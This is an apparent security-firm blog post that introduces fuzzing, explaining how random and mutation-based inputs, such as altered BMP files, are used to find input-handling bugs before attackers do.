In the majority of cases, the problems described above occur as the result of “bad input” to the system. This can be as a result of the original developer being unaware of the little details, or making bad assumptions about the input. A classic example of this is where a developer assumes input to the system comes from a “trusted source” such as another system under their control, and doesn’t verify the values being passed to them properly. Eventually, a malicious user finds a way to send data to the system, which is accepted because it is never checked for erroneous values.

A brief introduction to fuzzing

As security researchers, it is often our goal to find these problems before other people who might wish to abuse the situation. In this entry we are going to describe “fuzzing”, one of the techniques available to us that can help identify issues with bad input handling. Input for this tooling often focuses on where computer generated data can enter the system. This could include for example from a file or network connection. It is less concerned with user input, which is typically assumed to be far more irregular and better validated and managed.

The principal behind fuzzing is quite basic. In its most rudimentary form it simply requires identifying a publically exposed interface and pushing random data in to it, and observing the resulting behaviour. If anything exceptional happens, such as the application crashing or ‘freezing’, the input will be stored for a researcher to review. Then the process repeats. It’ll often take many iterations to get results, if you get any at all. As noted before, not all results are useable for malicious purposes, although in some cases simply getting a crash to occur can be useful as a “denial of service” attack vector, if the input can be passed to the application remotely.

Improving the process

Realistically firing entirely random data at a system doesn’t give a good return on investment. This is because data will often be expected to arrive in a specific format and it is highly unlikely that purely random data will align properly to form a valid structure. As a clear example of this, many data formats expect “magic patterns” at the start (or other fixed offsets from the start) to indicate the format of the data, for example, all BMP files are expected to start with the byte values 0x42, 0x4D which correlates to the string “BM” when translated as an ASCII byte sequence. Most BMP viewers will validate this before trying to load the file. Assuming truly random data, passing this check alone will only occur on average once in every 65,535 iterations.

To mitigate this issue and improve our results we can take a reference of valid system input (in the above example, an actual BMP file) and then randomly modify one or more parts of the file. The exact number, length and nature of the modifications can be controlled to suit individual applications, but overall most of our input will now be valid with only a few changes. With some luck, these changes will impact an important structure in an unexpected manner and cause the target application to do something wrong.

Whilst this delivers a far better result, it still has a limited return and we can go further to help our fuzzing mechanism deliver the best results. If we consider a basic BITMAP file for example, this could loosely be Fuzzing 2described as having a few, small critical control structures at the start of the file, followed by a vast amount of pixel data following. If we randomly alter a reference image, chances are high that our modifications will impact the pixel data rather than the control structures. This might result in a few discoloured pixels, but as each byte in this data can quite validly contain any value in its range, these changes should never result in any abnormal behaviours. As such, many fuzzing mechanisms will give you the ability to target specific regions of the input data and define the format of any structures.  Using this method, we are able to target specific properties within the file and help steer our modifications towards causing behavioural changes in the target application. If there are any vulnerabilities, hopefully they’ll fall out of this testing routine and they can be fixed before they are used for other purposes.

 

 

To contact Nettitude’s editor, please email media@nettitude.com.